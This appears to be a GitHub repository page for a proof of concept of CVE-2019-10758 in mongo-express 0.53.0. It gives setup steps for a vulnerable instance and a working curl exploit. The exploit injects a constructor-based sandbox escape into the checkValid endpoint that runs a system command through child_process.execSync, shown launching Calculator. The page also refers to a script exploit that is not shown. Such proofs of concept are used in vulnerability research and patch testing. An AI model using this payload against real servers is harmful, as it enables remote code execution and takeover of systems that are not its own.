Skip to content
GitHub no longer supports this web browser. Learn more about the browsers we support.
No description, website, or topics provided.
JavaScript
Branch: master
Clone or download
Latest commit 3ba1f83 Dec 26, 2019
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
README.md Update README.md Dec 26, 2019
main.js first commit Dec 26, 2019
package-lock.json first commit Dec 26, 2019

README.md

CVE-2019-10758 PoC

Setup

docker run -p 27017:27017 -d mongo
npm install mongo-express@0.53.0 
cd node_modules/mongo-express/ && node app.js

cURL exploit

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

Script exploit

node main.js
You can’t perform that action at this time.